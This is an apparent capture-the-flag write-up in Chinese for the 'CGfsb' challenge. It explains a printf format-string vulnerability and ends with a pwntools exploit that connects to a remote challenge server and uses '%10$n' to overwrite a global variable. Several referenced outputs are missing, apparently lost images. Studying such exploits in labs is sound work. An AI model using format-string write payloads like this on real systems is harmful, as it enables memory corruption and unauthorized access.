CGfsb
题目描述:菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用
题目附件:
file如下:
32位ELF文件
checksec如下:
IDE反汇编,查看main函数:
我们的目标是把pwnme变成8,这样就能获得flag
函数存在格式化输出漏洞
经过调试,我们发现
此时的栈自顶向下的第11个元素就是我们传进去的那个message
pwnme的地址如下:
因此exp如下:
from pwn import * #io = process('./pwn') io = connect('220.249.52.133', 59876) pwnme_address = 0x0804A068 payload = p32(pwnme_address) + b'a'*0x04 + b'%10$n' io.sendlineafter('name:', 'caiji') io.sendlineafter('please:', payload) io.interactive()